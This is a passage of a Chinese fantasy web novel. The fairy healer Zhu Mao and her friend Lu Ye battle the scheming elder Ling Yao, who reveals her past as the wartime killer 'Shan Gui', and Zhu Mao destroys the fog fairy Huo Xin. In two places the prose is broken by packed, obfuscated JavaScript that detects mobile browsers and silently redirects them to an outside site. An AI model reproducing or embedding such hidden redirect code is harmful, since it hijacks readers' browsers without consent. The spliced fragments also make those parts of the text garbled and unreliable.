我头疼得要裂开了,胸膛里呼出的每一口气体都像是沾染了先前与龙炎所搏斗时整个人被活活点燃时的滚烫高温。 怕不是发烧了。 下一秒,我看见地面上无声且莫名其妙地裂开众多黑黝黝的缝隙,里有很快一条条苍白的手臂伸出来,伴随着人影在地缝里涌动……那些死不瞑目的恶鬼似乎想要将我拖下去。 在其中,我看见了很多熟人。 里头的每一个人,要么是被我杀死的仇敌,要么是我在战争中所认识的那些死难者。 他们哭泣,怒号,诅咒,杂乱的声音就跟早晨的菜市场一样混乱无比。 “哈哈哈,你也有今天?你也有今天啊山鬼!” “混账!朕、朕可是千代一脉的黑月之子!吾等皇图大业就这样被你这贱民给毁了!” “你根本不是什么鬼神,只是个装神弄鬼的杀人魔头而已……到底有什么颜面苟活于世?” “山鬼,跟我们一起下地狱去吧!” 这些死者口口声声地要让我落入与他们一道的无尽深渊里。 不行,不行。 我现在还不能死,我好不容易才找回了那些记忆,而且我还没做到那一件事,死了都没办法闭上眼…… “滚啊!” 忍无可忍的我突然从垫子上蹦起来,暴躁地挥动手中大枪,直接一扫面前那不知真假的众多鬼手:“一群手下败将而已,也配来杀我吗?” “我这辈子的功德,比你们这些家伙都多!多得多!!” 我喘着粗气,环顾着四周宛若地狱般的扭曲场景,一时间怒火攻心,泛着铁锈腥味的灼热鲜血压抑不住地从喉咙里涌出。 “区区渣滓,混账,畜生……有本事就再来啊,来多少次我都会把你们一个不留地塞回地狱去!” 轰隆! 我隐约听见建筑物倒塌的声音,利刃挥舞的声响,鞋子在地面摩擦,伴随着无法理解言语的声音在耳边争斗,但它们好像都离我很远,很远…… 我原本坐着的那个垫子好像突然站起来跑了,速度很快,但我因为分不清是幻觉还是真实的情况,索性也懒得去追。 恍惚中,有人冲过来一把抓向我的手臂,可能是想要袭击我。 我虽然看起来像是站在那儿提着枪愣神发呆,但实际上正保持着一个高度警惕地分析周遭所有事物的状态。 当察觉到劲风扑面,我当即判断出这是个“真的!”东西,当即暴怒地一枪扎过去,结果却被那人灵敏地躲闪开,对方的手却依旧死死抓着我的胳膊。 “阿竹!是我!……怎么又疯了?” ……谁?你不做自我介绍,我怎么知道你是谁呢? 而且我没有疯,清醒得很,因为那些鬼魂想拖我下地狱都没办成! 本人的理智完全在线! 不过有一说一,我知道自己现在的模样肯定很狼狈,浑身烧焦不说,半张脸不成人形,脑袋痛到都快冒烟了,鲜血和口水混杂着喘息从嘴角往下流,简直跟个魂飞魄散的二傻子没什么区别。 所以这一切都是祸心的错! 虽然我不知道她这个【心灵系】能力的具体表现是什么,但通过先前观察别人中招时的异常举止,无外乎是制造出某种幻觉和幻听,从而暴露出目标的心灵缺陷。 我从来不否认自己有心灵缺陷,也就是这些年跟朋友们相处久了才慢慢变得好一点。 开玩笑……一个在战火纷飞和颠沛流离年头孤独长大的小妖精,真的能发自内心的阳光开朗一辈子吗? “你谁啊!跟你很熟吗?” 我暂时没有急着继续发起攻击,反而凶巴巴地瞪着那人所在的位置。 视觉神经传来剧痛导致了新的幻觉,让我眼前的人影扭曲不知不觉中扭曲拉扯成一个光怪陆离、不似好人的模样,更像是某种披鳞带甲的可怖怪物。 但不知为什么,我听到这“怪物”的声音就觉得莫名安心,甚至都没那么愤怒地想要攻击摧毁对方了。 如果不是现在的处境太糟糕了,我真想坐下来跟它聊聊天,再一起喝杯茶什么的。 “……傻瓜,竟然都不认得我了,真是疯得不轻。” 那不可名状的“怪物”忽然伸出利爪将我整个人拦腰抱起,不由分说地直接扛在肩上,“但你留下来会死的,跟我走!” 嗯? 死?怎么会死?村口算命的都说,我这人烂命一条,寿数长着呢! 我才不会就这样轻易地死去—— 由于被颠簸震动得难受,我整个人的身体扭来扭去,试图从这头“怪兽”的肩膀上挣脱开来。 但勒紧我腰部的那条手臂就跟铁箍似的,拼了命地勒住我,不让我逃跑。 “阿竹,安分点!别妨碍我!”那个近在咫尺的嘶吼声传来,又像是隔了很远的距离。 这混蛋“怪兽”居然敢这样训斥我。 真是岂有此理。 说到“妨碍”,我就隐约想起了自己当前似乎正在急切地想要做的一件事,那就是——我不能拖累某个人。 得保护……我要保护谁啊? 是先生吗?我要保护他和夫人?还是先生家的二丫头和两个小子? 那些孩子人真好,每天还给我轮流浇水抓虫,彼此还互相保密,一度差点淹死我了。 还好夫人妙手回春,及时把我给抢救回来。 二丫头还教我唱歌,说什么今天女校的老师教了他们关于李先生最新填词的《送别》,这曲子最近可太流行了。于是城里的年轻人都唱着它与亲人们告别,然后奔赴前线。 真可爱,怎么会有人类尝试教导一棵杂草唱歌? 我又不是隔壁家养的那只东洋进口鹦鹉,整天就会说“八嘎”“西内”之类的鬼话。 但先生他们在逃难时也把我挖出来装在盆里带走,明明有那么多的古籍和孤本都舍弃了…… 我很感谢他们……不对!死了!他们都已经死了! 想到这里,我痛苦地闭上了眼睛,不想再去想那些事情,过了片刻后才勉强重新睁开。 是的,我没办法保护一群死去的人,我只能想办法去保护活着的人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269139|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 活着的——还有谁活着? “嗬……嗬……” 兴许是胡思乱想的时间久了,祸心的【心灵系】能力开始减弱,我眼前的视野也稍微清楚了一点,感觉看东西也没有那么光怪陆离了。 呼啸的大风很诡异地从我的身后刮来,我终于发现自己被人扛在肩上狂奔,背对着后方,同时清晰地听到了那人剧烈艰难的呼吸声和感知到了她浑身上下热气腾腾的汗意。 ——我不能拖累她。我对自己说。 “……鹿野!松手!” 然后我没等鹿野是什么反应,当即奋力翻身,整个人往前一滚,直接翻出这友人的肩膀上方。 尚未落地,我就用“离原枪”对准不远处的敌人方向,往前一砸! 枪尖触碰到建筑表面,深绿色的众多野草如森林般拔地而起,直接撞翻了猝不及防的追兵。 我听见鹿野在我的背后长出一口浊气,稍微减缓些疾驰速度地问我:“你清醒过来了?” “鹿野你的呼吸节奏有点不对劲,腹部受伤了?” 我们两个几乎是同时问出了自己想问的问题——这种事在过去时有发生,按照惯例的话,她会停顿几秒等待我继续说——“帮你治一下?” 我说着就习惯性地抬手就要去摸鹿野的手臂,想要给她奶一口,但是立刻被她给拒绝了:“我这不是致命伤,你顾好自己先吧。” “……好吧。”我转身略显疲惫地跟上她的脚步,根本没办法掩饰自己的狼狈和糟糕状态。 左手捂着腹部一侧的鹿野看起来一副很担心的样子,我很少见到这个女人会露出这种毫不掩饰的担忧和紧张神态:“那你现在感觉如何?” 我咽了一下喉中的血沫,故作精神道:“放心!一时半会儿死不了!” 其实我是骗她的。 真实情况是——我感觉自己的生命线在经过先前那一通精神折磨和理智鉴定失败后,再度不幸暴跌至10%的危险红线上下。 简直是处于一种随时要暴毙的阶段。 鹿野知道真相后肯定会生气,但无所谓,反正今天也没少忽悠她。 她似乎半信半疑,但看我依旧能跑能跳的样子便暂时不再深究,当即纵身往下方一个熔炉厂房冲进去:“那跟上我——” “好,咳咳。” 破墙而入溅起的灰尘让我忍不住咳嗽了两声。 这个熔炉厂房早已熄火多年,陈旧生锈的摆设与其他地方没什么不同。 除了那一个被钉在半空中高台上的蓝色阵眼。 鹿野立刻以最快速度扑了过去,想要破开那个阵眼。与此同时,追击的众多敌人也从四面八方跳入此地,气势汹汹地朝我们两人追杀而来。 ……我注意到龙炎和祸心还没赶来,我稍微放心了点。 此时落在平台上的几人已经互相拳打脚踢起来,主要是鹿野在一拳一个小朋友地揍飞这些家伙,但总是有碍事者不顾伤势地爬起来阻拦她。 砰! 我也跳到了这座圆形平台上,“离原枪”顺势往铁质地板上一砸,整个巨大的平台瞬间长出了郁郁葱葱的绿草。 “快躲开!” 那个红皮肤的魁梧肌肉妖精大吼一声,我在他身上嗅到了同行的味道,想来同为奶妈,此人应该感觉到了我这招的危险之处。 几个敌人得到提醒后骤然跳起闪躲,但是我并不打算放过这个开口乱讲话的大个子,当即左手虚握,往前一推! 原本也就人们脚踝高度的寻常杂草瞬间暴涨,如同数十条青森大蟒,在眨眼间便将这位名为大须的敌人缠绕、勒紧起来。 “呃啊啊!!” 大须浑身的肌肉呈现出暴起的块状,此人正在以蛮力挣脱我的草木束缚,那些“蟒蛇”被一根根崩断,但我的左手依旧死死地保持着操控能力的虚握模样,同时五指用力地往中间挤。 鳄鱼和皆逆荒第一时间从没有草木生长的平台扶手上方冲过来,他们想要通过干扰我来解救大须。 我则是一边挥舞大枪快速后撤,一边维持着左手虚握的施法状态。 虽然那几根指头就是压不下去,可我并不担心,因为…… 鹿野猛地跳至被缠绕住无法逃脱的大须面前,以我们多年的默契程度,在战斗时连眼神都不用交换便能自觉打出配合。 只见她的手肘部分往后彻底拉开,右手四指运指如刀,一股子坚不可摧的气势豁然浮现在这徒手招式上! ——鹿野这要用一击直接洞穿大须的咽喉,给这个无法逃脱的活靶子活活打穿! 我注视着她的一举一动,当看见鹿野的指尖几乎贴到大须颤抖的咽喉皮肤之时,我突然睁大了眼。 我的左手下意识松开原本的“束缚敌人”姿态,转而变为五指张开的“防御”指令,往前用力一推—— 千钧一发之际,只见一阵诡异的红光浮现而出,伴随着强烈到离谱的反击力道,直接将我拦在鹿野身前的众多草木给瞬间碾碎。 轰! 与此同时,鹿野整个人被撞到我身上,我根本没有反应时间,连人带枪的也被一并砸进了墙壁里。 “咳咳……咳……” 被这猛烈一击给撞得七荤八素,再加上鹿野这家伙一身腱子肉,体重属实也不轻,砸在我身上更是为倒霉的我增添了一份伤势……我又在咳血了。 咳出的血不小心落在了她仅穿着黑色紧身背心的肩膀皮肤上,鹿野的身子明显僵硬了一瞬。 啊……是不是瞒不住了?我有点忧虑。 但是下一秒,鹿野跟没事人一样地以最快速度爬起来,不再压在我怀里。 但她没有急着走出去,而是挡在我和外面的平台之间,看似随意地将一只手背对到了身后,指头对我略微勾了勾。 我顿时心领神会,一手撑着枪杆,一手抓住她留给我的那只手,勉强重新站起来。 等我起身后,她才开口说话。 “大松的【流石甲】?”鹿野朗声问,我听得出她话语里那克制到极致的怒火,“……果然是你啊,灵遥长老。” 31.不当大哥 随着鹿野一语道破来者的名讳,那穿着黑色劲装的高马尾面具男不紧不慢地摘下了那张扣在脸上的漆黑面具。 他下巴处的胡须迅速长出,须发的颜色很自然地变回了原本的暗黄色,面容也悄然变回了那副众人所熟悉的慈爱温和长者模样。 “你怎么知道是我,鹿野?” 身为顶尖的感知高手,结合一系列搜集来的各种线索,鹿野早已推测出了最大嫌疑对象,只是一直等着此人自己按捺不住地跳出来,彻底坐实这份罪名。 她语气冷淡地稍微解释了两句,很显然,昨日这一路的追踪调查并不是在做无用功。 我倒是有点惊讶,毕竟根据前天下午留在医院出诊的花瓶分身传回来的记忆来看,在导诊台时“我”还想找灵遥帮忙通报关于【流石会馆】出事这件事——还好没找到这人,属实是不幸中的万幸,最后分身找了路过值班的池年长老帮忙。 大猫长老帮没帮上忙实在不好说,但我感觉池年已经尽力了。 合着这位灵遥长老,你当时不在总馆的真实原因,原来就在案发现场忙着砍老朋友大松呢? 这什么地狱笑话。 “鹿野,你能看穿这一切的真相,我并不奇怪。要知道,我历来是非常欣赏你这样年轻又才华横溢的后辈。” 灵遥微笑着摸了摸自己的山羊胡,视线转向站在后方阴影里的我:“倒是你啊竹茂,你的医术不赖,可惜偏偏不爱走寻常路……在错误的时间里出现在了一个不该出现的地方。啊,真是令我头疼不已。” 我给出一位医生应该给出的建议:“头疼?那你吃点布洛芬吧。” 今天的经历太折磨人了,我尚存的理智十不存一,有点听不懂老登在叽里咕噜啥,反正我知道此人对【流石会馆】的幸存者绝对不怀好意就行。 灵遥面无表情,没有搭话,也没说要不要去吃止痛药。倒是鹿野有点绷不住地低沉笑了一声,于是灵遥的面色看起来更加不快了。 就在我们说话之际,满身是伤的龙炎和环绕白雾的祸心终于赶来,他们悄无声息地出现在这间熔炉厂房的另一边,我听见鹤天在小声地询问石沉去哪里了这个问题。 “技不如人,死了。”龙炎硬邦邦地回答。 也不知道这句话的“技不如人”是针对死去的石沉,还是龙炎本人在自嘲。 鹤天显然也没料到三个外援好手中明显最擅长防御的胖子会第一个阵亡,一时间也不知道说什么好,只能叹了口气:“唉。” 灵遥似乎没有注意自己请的两个外援已经到来,他重整旗鼓,跟鹿野瞎扯几句后又露出了一个微妙的笑容,此人看向我:“竹茂,你是否觉得现在这个名字太平凡太普通了?还是我该叫你一声昔日的名字——【山鬼】?” “啊?” 我略感茫然地看着他。 他怎么会知道……好吧,死老登一定是看了我当初的审判卷宗。 啧,以权谋私的老鬼。 鹿野同样一言不发地背对着我,对待灵遥和他的部下们依旧保持着一个高度警惕的姿态,但我知道鹿野此刻一定对于关于我的过往同样抱持着疑惑和好奇。 因为我过去失忆了,自己都搞不清楚过往,自然不可能跟任何人谈论这方面的故事。 ——你好,因为我做了几十年关于超级杀人狂的噩梦,所以我也成了一个新的超级杀人狂。初次见面,让我们来友好地握手吧。 难道要这样自我介绍吗?任谁听了都要第一时间报警。 “鹿野,也许你还不清楚这位好友的真实身份吧?” 灵遥对于我的“装傻”态度不太满意,依旧笑着拍拍手,一副帮忙热情介绍的模样说道。 “……” 鹿野没有回答,只是她的呼吸不太明显地加重了几分。 我更震惊了,我难道还有什么自己都不记得的“真实身份”? 灵遥在众人的注视中娓娓道来:“竹茂,你无视妖精在涉及人类大事时应当保持中立围观立场的最基本原则,擅自参与一场双方都由人类组成的大战,并在战后持续追杀众多普通民众长达二十年之久!” “同时你利用自身能力,在战争中犯下诸多杀戮罪行!战后刺杀一方的最高人类领袖,摧毁他国的古老妖精结社,残忍无情地杀戮自己的同胞!你甚至差点引发了新一轮的人类与妖精之间的种族战争……要不是会馆方面及时地出面摆平此事,新的战争早就爆发了!” 说到这里,灵遥远远地凝视着我的眼睛,就好像他能够代表那些死去的人对我发出审判一般,斩钉截铁地下达定论:“你才是真正的‘战争爱好者’——【山鬼】竹茂。” 我听得都一头黑人问号表情包了。 我草,这些事情听起来连我都觉得自己已经是个罄竹难书的战争犯,活着纯粹是在浪费氧气,应该火速拖出去枪毙两小时也不为过。 没错,灵遥说的都是真话,是事实,但是……他在断章取义。 他只说我杀了很多人,却根本只字不提我为什么杀了那些人。 但如今局面紧急,我没有时间也没办法一一为自己的过往行径做辩解。 灵遥当然也知晓这点,他就是玩弄着最擅长的文字游戏来糊弄鹿野,试图当面挑拨离间我和她的友情! 但偏偏我不敢去想象鹿野此刻的表情到底有多难看。 我知道,鹿野平生最讨厌战争,第二讨厌那些可能会引发战争的那些元凶和不稳定因素们。 ……按照老登的说法,我好像每个条件都符合? 嘶! 我现在担心的不再是会不会被绝交这种小问题了,而是这位好朋友会不会突然转身把我给大义灭亲杀掉的问题。 “哈哈哈哈哈哈!” 鹿野突然开怀大笑起来,好像灵遥说了一个今日最佳的沙雕笑话,把这个总是冷着脸的酷女子给逗得乐不可支。 我愣住了。 灵遥也有些怔然,没有料到鹿野这人听完以上关于我的“恶行”之后居然还能如此畅快大笑。 笑了几声后,鹿野突然不笑了,她肃然反驳道:“灵遥,你少在那里摇唇弄舌、搬弄是非!从一开始,我认识的就是竹茂这个朋友,而不是什么嗜好杀人的山鬼。” 灵遥大声道:“那是因为你被她骗了!我们都被她这副伪善的面容骗了!” “说到伪善,灵遥,世上又有几人谁能跟你相提并论?”鹿野面沉如水地嘲讽道,“倘若阿竹真有你说得那么罪该万死,为何冰云城至今还允许她站在这儿?” 灵遥:“……” 是的,这就是这场文字游戏里最大的破绽——早在八十年前,我便被会馆逮捕,押入冰云城接受审判。 我并未如那些通缉犯一般,逃离那妖精世界的法律制裁。 昔日,在冰云城的三方会审高堂里,作为涉事人类双方的夏国代表和邪桑台代表受邀出席。其中一方愤怒到恨不得亲手杀我而后快,另一方却不惜一切代价地想要保住我。 哪怕我再三明确表示自己身为一名妖精,已经不想再跟任何人类势力有什么牵连后,而那些在过去那些年里被我无意识救助过的人依旧想要救我一命。 在最终审判的结果出来前,抓我入狱的那位执行者过来见我最后一面。 那人其实挺好的,问我还有什么遗言或者尚有遗憾的事,兴许会酌情考虑帮我完成。 我不恨这个比我更强大的家伙,只是在感谢他的好意后说道: “此心无愧,何必多言?” 此后我一直在等待关于审判的结果到来,等待着关于“散灵”的死刑结局到来,但最后等来的却是一位精通【心灵系】能力的心理大师和拿着卷宗的执法者。 他们郑重地向我宣判了最后的结果。 “……人类国家邪桑台近日来出现大规模内乱,国内民情汹涌,社会秩序急速崩溃。故该国代表自愿放弃出庭和追责的权力,选择紧急回国……” “近期,会馆方面与夏国达成了一系列新的深化合作协议,他们提出的条件之一就是关于保住你的性命——夏国人认为你在危难来临之际仍能坚持自身道义和朴素的公理,无私帮助当地百姓民众,不谋求个人私利,不在乎个人荣辱……这样的生灵无论是人类还是妖精,都该被视为一位热爱和平的国际友人。” “夏国代表及时提交各项相关证据作为佐证材料,以上证据确凿无误,并无造假……” “综上种种因素考虑,以及会馆出于对人道主义理想的践行和对每一位妖精同胞的深切关怀之情,审判庭最后还是决定——再给你一次机会。” 至于后面的故事,你们都知道了。 我被洗去所有记忆,替换成无害而寻常的全新过往记忆,同时封印了大部分战斗力作为惩罚。 失忆的我被送往【流石会馆】,懵懵懂懂地在那里度过了最为空白和迷茫的头几年全新人生。 “为什么突然沉默了,灵遥?”鹿野冷冷地说道,“冰云城既然觉得阿竹已非戴罪之身,你又凭什么指责她?当面跟我说这些子虚乌有之事,是想要挑拨离间么——” 我惭愧地低下了头,天哪,鹿野心坚如铁地相信我这个朋友绝对不是什么坏人,我身为当事人反而差点被灵遥给挑拨得对朋友不自信了…… 鹿野依旧在质问那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280951|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人:“在【流石会馆】里头大开杀戒的人,难道是她,而不是你这个幕后主使吗!” 虽然灵遥是个无耻老登,但他明显还没办法当着部下们和鹿野的面指着我说“对,她才是幕后主谋”——这不是把【感知组】组长的判断能力当摆设嘛。 他沉默了几秒,再次露出一个无耻之尤的微笑:“为了妖精族群前路而付出伟大牺牲的事,怎么能叫大开杀戒呢?多难听。” 我:? 鹿野:? 灵遥的部下们倒是一派从容坚定,坚信不疑,完全被他们的老大画出的大饼给噎饱了。 “伟大的……牺牲?”鹿野都惊呆了,“你怎么能这样说?为什么要杀那些妖精?你为什么要杀大松!” “大松啊,大松他是个好人,也是很好的朋友,我们认识很多年了。”灵遥踱着步子在平台上慢慢地兜圈子,走来走去,面露缅怀之色,“曾经,我和他的关系,就像是鹿野你跟你背后的这位竹医生关系一样。” “……” 鹿野突然陷入了某种可疑的沉默情绪里,我看到她白皙的脖子皮肤后面突然有点冒汗。 我虽然在围观这两人打嘴炮,但此刻也难免陷入了某种震惊的猜想:老登,你……你暗恋大松先生? 大松先生对我来说就像是父亲这个角色,你莫非是想当我的后爹? 不是,这合理吗,而且还相爱相杀起来……?? 噫,好恶心的举例子啊。 我受不了自己的脑补了! 灵遥显然不知道我和鹿野两人此时都在胡思乱想什么,他依旧沉浸在自己所亲手编织的那套鬼畜逻辑里。 “但是他不肯跟我们合作,我也没办法,只好杀了他了。” 鹿野明显已经放弃了思考“灵遥和大松的真实关系”这件可怕的事,她沉沉地盯着那个老头儿数秒,没等到新的下文,方才开口问:“就这样?” “就这样。逝者的事情已经不重要了,真正重要的是关于我们妖精一族的未来道路该如何选择。” 灵遥神色悲悯地抬头注视着我们,仿佛是高坐莲台之上俯瞰世间众生的无情神佛:“鹿野,竹茂,代价已经提前付了,倘若你们拒绝与我合作——大松就白死了!那些妖精的牺牲也都被你们给浪费了!” 我再也受不了这个老东西的PUA狂吠了:“这个人病得比我还脑残,谁来给他几记耳光清醒一下?” 而鹿野平日里的作风就很雷厉风行,战斗中更是属于那种“撸起袖子加油干”的性格,她气得浑身发抖,牙齿咬得咯咯作响。 “……呵,浪费?牺牲?!” 下一秒,她暴怒无比的一拳砸在我们脚下所处的铁质平台上,以一身蛮力将其活活砸碎! 只见鹿野抡起整个断裂平台,朝着灵遥所在的方向砸去。灵遥手中立刻浮现出一道【流石甲】特有的蓝色光屏,眨眼间击碎这飞来重物。 新的战斗眼看一触即发。 我深吸一口气,感觉自身的生命力通过刚才那一通对话拖延时间,已经暗戳戳地回复到了大概15%左右的程度。 但以目前这个状态打生死战,实在是很勉强,可我也没辙了。 这种生死关头,我不去帮鹿野的话,谁来帮她? 就在这时,我看见鹿野踩着碎裂的平台铁块,以瞒天过海之势,绕开灵遥的流石甲攻势后,一个纵身跳起,一拳打向了一个我们都没有预想到的第一位对手。 是祸心。 祸心显然也没有料到灵遥、皆逆荒和龙炎等那么多对手居然都拉不住鹿野的仇恨值,仓促抵挡下,当即一拳被鹿野再次打飞。 ——鹿野用的拳头,是先前拉我起来的那只手。 我眨了眨眼睛,在那张逐渐扩散到整个面部的狰狞木质面具下,嘴角忍不住翘起来……鹿野还是那么懂我的战斗逻辑。 先前借力站起身时,我特意在她的手掌附着了一层薄薄的、肉眼看不见的细微草籽,然后以我们之间特有的动作暗号告诉了她这件事。 当然,在外人看来,鹿野就是随手拉了我一把,让我站稳而已。 接下来,无论她袭击谁,都能同时将我的草籽打出去,附着在敌人身上。 然后…… 祸心身边白雾里有一颗漂浮着的草籽骤然膨胀,化作纸片状的单薄草人,同一瞬间,我与这个草木分身彻底交换位置,完成空间动作的跳跃和闪现! 我骤然出现在了这老妖婆的身后,一□□去,心中却满是对已经冲向其他敌人的鹿野的感激。 好朋友,下辈子,我还要和你打配合! ……如果我们还有来世的话。 32.穿过荒野 我通过本命法宝“离原枪”自带的“草木皆兵”效果,与自己的分身完成无缝衔接的对换,从而骤然出现在祸心这个一把年纪还在装嫩的老妖婆背后。 无暇再开口说什么威胁的话语,我当机立断地直接一枪扎过去,却是击中了一团急速散开的白雾。 在性命垂危的关键时刻,祸心直接显现出这种雾气妖精的原形,不再以人形示人。她那副原本架在鼻梁上的时尚墨镜跌落到下去,过了几秒钟才撞到地板上发出一声空洞的回响。 “该死!那是我最喜欢的一副墨镜!” 祸心满含怒气的声音从雾气中传来。 出现在我面前的不再是什么人小鬼大的超龄假萝莉,而是一团漂浮在半空中的灰白色雾气,它颤抖而扭动着,没有具体的形状,却给人一种邪恶又混乱的既视感。 “老太婆这么抠门?我送你去给它陪葬不就得了。” 我双手握枪挥舞,正要再发起新一轮的攻击,却见到龙炎已经再次浑身燃烧着金红烈焰地飞扑过来,同时另一边的鹿野直接破门而出,头也不回地对我大吼一声:“走!” “按计划行事——” 灵遥没有看我一眼,手中的蓝色【流石甲】光屏变幻出不同的形态,追着鹿野追杀而去。皆逆荒等人也立刻跟随。 但是鬼镰和大须并未一并跟上自家老大的步伐,反而同时朝我发起了袭击! 他们显然是想合力将我留在这儿,让我跟鹿野分开作战。 可是就这样跑了,我也实在是有点不甘心。 ……难得的一个机会就要这样错过? 我目前所持有的微弱生命力根本不足以支撑我打持久消耗战,我甚至怀疑自己能不能撑到鹿野破开所有阵眼。所以我必须尽快击败敌人中的任何一人,从对方汲取到新的生命力才能支撑我继续作战消耗。 好,走前再贪它一刀! 抱着这般想法,我尽力闪避,而敌人们的攻击则是纷纷砸在了我一秒钟前原本所站在的那个地点——旋即我的左手腕握紧枪杆,用力一转,启动了一道先前就留在某个敌人身上的能力痕迹! “呃!” 不远处的鬼镰发出一声古怪的闷哼,原本完好无损的脸上凭空突然爆开一道刺目的伤痕,几颗灵质的光点钻出,轻飘飘地落在了我的枪尖上。 他的脑袋如遭重击,摔倒在地上,抽搐躯体,抓着武器把柄艰难挣扎着想要重新爬起来。 倘若有人记性好,就还能记得我先前第一次从鹿野的腰带里爬出来后,就在此人脸上用枪划破了一道口子—— 敌方奶妈的大须见状一愣,惊道:“咋回事儿?俺早先都给鬼镰摆治好了!” 哦?中原口音? 其实我当年走南闯北多年,各地的方言口音也没少学几句,当即朗声道:“兄弟,恁不中啊。” ——你这人不行,医疗技术不行,眼力也不行。 被我无情嘲笑,大须当即震怒:“死妮子!白搁这儿小瞧俺!” 但大须真以为我先前在鬼镰脸上留下的大枪划伤只是区区皮肉伤? 那才是真的太小看我的【生灵系·命源】了! 虽然这一击抽出的生命力不多,也就5%这样。 但当你都快沦落到在路边讨饭的境地了,有一块钱的收入总比没有要好。 此时龙炎已经冲到了我的面前,他对于我和大须在斗嘴这事儿根本没在意,满心满眼里都只有我这个人。 但当一头发怒的斗牛冲向你时,你又何必与它硬顶? 我选择暂避锋芒。 在火焰急速升温的逼迫压力下,我却能够感受到四面八方的空间里似乎都环绕着祸心那阴冷窥伺的致幻雾气。 龙炎挥拳如风火,满脸杀气,眨眼间一步步将我逼退至墙角附近。 差不多了。 我心念一动,脚下骤然长出了众多草木,环绕着我与众多敌人之间形成了新的高墙! “障眼法?” 龙炎的火焰铁拳一下子打穿了我们之间的粗大草木墙壁,露出一个烧焦后特有的巨大焦黑空洞,但此时我已经不再被困在原地。 尚未完全断裂的草木墙壁托举着我整个人以最快速度,提升所处的位置高度,猛然冲到厂房建筑内部靠近天花板的部分才停下。 居高临下,我一瞬间就看清楚了那盘桓在这建筑内部的雾气本体——一团不明显的、灰蒙蒙的核心。 而祸心也立刻意识到了我想要做什么,她当即收拢散开的雾气……原本虚幻的雾气像是瞬间有了实质性的质感,那宛若龙卷风一般的雾气不退反进,气势汹汹地朝我奔涌而来! 无须眨眼,那灰白色的龙卷雾气已经逼近面前,沿途席卷摧毁了一切拦路的工厂设备,连龙炎等人都不敢轻易踏入这片雾气纵横的地带里。 看着那些在高空中撞击飞舞的各种设备残骸,我隐约间已经听见了耳畔传来的阵阵幻听嘶吼,以及伴随着那个老妖婆的尖声大笑,我明白祸心的【心灵系】能力正在全力对准我这个唯一的目标催发。 我咬着后槽牙,面具下习惯性地咧嘴一笑。 轰隆! 那雾气的恐怖冲击终于撞到了我身前,令人分不清它是真实威力有这么大还是幻觉的加成。 然而就在这一刻,我手中的“离原枪”同时爆发出微弱的阵阵翠绿光华,自发抵御着雾气的侵蚀——当敌我双方的攻势撞在一起的瞬间,我被这袭击而来的恐怖力道撞得顺势往后跳了一步,手中的大枪也跟着往后回撤些许。 此招名为“退寸”。 下一秒,我踩在后方的那只脚直接踏碎了身下的所有草木藤蔓,气沉下腹,腰马合一,全身的劲力尽数张开。 借助这拧动旋转的充沛力道,我双手将手中的枪杆往前用力一送,原本也就比我身高高出半截的大枪长度陡然间增长了数倍,化作一柄长约至少五米的超长大枪,一下子刺入雾中! 这一枪正好击中在旧力泄去、新力未生的雾气核心之上。 砰! 那不规则的雾气核心表面豁然裂开一道漆黑的碎纹,周围的雾气顿时跟沸水一样狂躁地翻滚呼啸起来。 ——此招为“进尺”。 “退寸”的目的是要避开敌人的攻势,“进尺”则为抓住敌人攻击后,在新旧招式衔接之间所必须露出的那一瞬间破绽,将其直接打出伤害。 祸心以为我不久前才中过一次招,理智沦丧,幻觉尽出,定然知晓她能力的厉害之处。 因此我面对这呼啸龙卷同样也会下意识地避开锋芒,再不济也是以闪避的战斗方式为主。 但她错了。 如今我已经将生死置之度外,在这样的生死鏖战里,再难也要上,恐惧也要上,哪怕是最后疯了还得上! ——这就是我昔年从那枪林弹雨中领悟出来的道理之一。 退寸,然后……进尺进尺再进尺! 我手中的这一杆超长大枪顿时大放寒芒,只需要一瞬间,就彻底打碎了整团雾气核心! 当我说我承认枪法一般的时候,其实体术还行。 但当我说我只有体术还行的时候,大家最好也别全信。 众所周知,我是个比较谦虚的人。 当核心碎裂,那些灰白色的雾气开始迅速消失,祸心的灵质以肉眼可见的速度正在崩散。 我顾不上面色大变冲过来的龙炎等人,枪尖发动【命源】,想要如同吸取石沉身体的残余生命力那样在祸心身上吸最后一口生命力来回回血。 但是几秒后,却吸了个空! 因为她已经将自己的身体彻底打散,一旦核心碎裂便不可能再以人形出现,雾气形态更是无法维持太久,那依旧恶毒而嘲讽的笑声却依稀弥留在我耳边。 “我绝不会……让一个丫头片子从我身上捞到任何好处!哈哈……” 该死,这抠门老妖婆! 亏大了。 一口生命力都没捞到。 再这样做“无本买卖”,我真的快关机断电了! 我含怒收枪,不敢在原地逗留,直接启动“草木皆兵”的能力,与自己的分身交换位置,以“空间跳跃”的形式离开了此地。 下一瞬间,扑过来的龙炎一巴掌就拍碎了满脸无奈麻木的分身脑袋,将这草人烧毁。 “这都第几次了!竹茂为什么每次能闪现逃走?”有妖精见状恼怒大吼,“她到底是不是【空间系】?” 没人回答这个问题。大家都不是很确定。 但是空气中尚未完全散去的最后一缕雾气飘至龙炎耳边,对他悄声说了点什么。 那就是祸心的遗言了。 听完后,这个满脸伤疤的粗野壮汉顿时露出了惊骇又迟疑的神情。 但仅仅过了几秒,他便下定了某种深沉的决心。 ………… …… 这一次,我出现在了鹤天的胡子里。 